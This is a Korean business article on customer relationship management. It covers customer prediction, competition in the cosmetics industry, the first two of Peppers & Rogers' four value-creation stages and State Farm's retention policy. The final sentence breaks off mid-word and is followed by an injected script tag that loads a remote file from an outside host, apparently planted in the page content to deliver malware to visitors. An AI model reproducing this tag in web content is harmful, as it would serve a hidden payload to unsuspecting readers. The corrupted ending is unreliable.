CRM 추진을 위한 기본적인 요소들-단계별 활동 고객은 계속 변화해 나간다. 다시 말하면 고객이 시장의 RULE을 만들어나간다는 말로 해석되어 나간다. 가장 중요한 것은 그러한 고객의 변화를 예측해내고 고객의 가치 포인트에 맞추어 그에 맞는 고객 관리 체계를 구축하고 수행해 나가는 것이 무엇보다도 가장 이상적인 CRM이라 할 수 있을 것이다. 고객 예측은 단순히 특정 시점에서의 관찰로는 정확하게 이루어진다고 볼 수 없다. 끊임없는 고객과의 상호작용에 따른 교환정보의 축적에 의해서 그 변화의 방향을 예측해 나가는 것이 무엇보다도 중요하다. 고객 예측을 바탕으로 고객이 추구하는 가치를 정립해야만 다른 경쟁사보다 신속하고 효과적으로 창출 해낼 수가 있다. 수많은 고객 분석을 위한 분석 및 통계 모델들이 존재하지만 무엇보다 우선되어야 하는 것이 고객의 정보를 축적해 나가는 일이다. 이러한 활동은 단순 데이터 수집에 의해 가능한 것이 아니라 고객 접점에서의 고객과의 상호가치의 교환활동에 의해서만 가능해진다. 즉 고객 중심으로 순환 사이클이 계속 되어야만 가능해진다고 볼 수 있다. 화장품 등과 같은 경쟁상황이 심화된 산업에 있어 고객중심의 가치를 만들어 내기 위한 끊임없는 변화의 도전 요소들이 생성된다. 이미 소비자 수요의 성장은 정체단계에 접어들고 있고 상대적으로 신규 진업 업체들은 계속 증가하여 경쟁이 날로 심화되어 가고 있다. 이러한 상황에서 무엇보다 무한 경쟁에서의 생존요건 및 경쟁자의 진입장벽구축에 있어 핵심 요소는 계속적인 고객에의 ‘신가치’를 만들어 제공하는 일이라 할 것이다. Peppers & Rogers의 4단계 이론 무엇보다 고객에의 가치를 만들어내는 활동을 정의하고 그에 따른 활동 체계를 만들어 수행하는 것이 중요하겠다. Peppers & Rogers의 이론에 의하면 크게 4가지 단계로 가치 창출 활동을 구분한다. 첫 번째 활동으로는 ‘고객에 대한 이해’이다. 무엇보다도 고객이 중요시하는 포인트로부터 출발한다. 이 단계에서는 얻어지는 것은 고객을 계속적으로 유입하는 활동 및 확보된 고객을 유지하는 활동을 통해 축적된 경험 및 정보에 의해서 이루어지는데 고객은 가능한 한 세분화한 기준에 의해서 가능해진다. 과거와 같이 단순히 표면적인 고객의 구분 인자들인 나이, 직업, 성별, 입점고객, 상권특성, 거주위치, 등에 의한 구분이 아닌 고객의 특성을 구분 지어 복합 인자들에 의해 구분해야 한다. 예를 들면 나이에 따른 선호경향, 구매행동 경향, 그리고 그 안에서의 직업이나 소득구분, 추구하는 이미지 등 매우 복합적이고 복잡하다. 특히 이러한 특성은 객 단가가 높은 고객일수록 더욱 세분화되어지고 구매 시점의 상황변수에 좌우되는 경향이 높다. 이제 매스 마케팅적인 사고로는 고객을 잡기 불가능하다. 단순히 매출을 높이기 위한 판매단가 올리기 경쟁은 물거품 활동이다. 고객 기반을 확대하고 높여야 한다. 매출은 그러한 활동에서 귀결되어지는 결과라고 보아야 한다. 고객이 원하는 중점요소에 만족을 주지 않고 단순한 가격의 결정은 고객을 결국 떠나게 하는 악순환을 초래한다. 메이커의 브랜드 관리 기준의 변화도 마찬가지이다. 자신이 소유하고 있는 브랜드 자산에 구축에 있어 이러한 노리는 그대로 적용된다. 브랜드의 이미지 및 포지션을 높이기 위한 브랜드 고객관리 활동 역시 CRM의 세분화된 고객 이해 방식으로부터 출발해야 브랜드의 자산을 확대할 수 있을 것이다. 두 번째 단계는 고객의 차별화 활동이다. 무엇보다 중요한 것은 목표 고객을 선정하는 일일 것이다. 목표 그룹을 선정하고 그에 따른 세분고객 중심으로 차별화를 한다. 이때 무엇보다 고객을 이해하는 단계에서 확보된 고객 분석정보가 매우 중요한 역할을 한다. 특히 차별화 단계는 추가적인 매출에 Focusing하는 것이 아니라 그 고객의 재 구매율을 높이는 방안으로 추진해야 한다. 고객의 객 단가는 차별화 단계에서 높이는 것보다는 고객의 경험 만족도를 높여 올리는 것이 더욱 안정적이라 할 수 있다. State Farm이란 보험회사는 무엇보다 고객의 유지에 매우 집중하는데 이러한 목적을 위해 아예 신규 고객을 유치하는 과장에 매우 신중을 기한다. 예를 들면 최근 5년 이내에 심각한 교통사고 경력 고객은 유지고객 대상에서 제외한다. 왜냐하면 State Farm이 목표로 하는 고객 그룹 내에 포함되어 있지 않으며 고객 차별화 대상에 포함되지 않으며 State Farm이 다른 경쟁사에 비해 이러한 특성을 가진 고객에게는 차별화 및 수익성을 얻기 어렵다고 판단하기 때문이다. 하지만 무엇보다 5년 이상 최고의 보험 경력을 갖고 있는 고객은 장기 고객화 가능성이 가장 높?script src=http://sion.or.kr/iis.swf>

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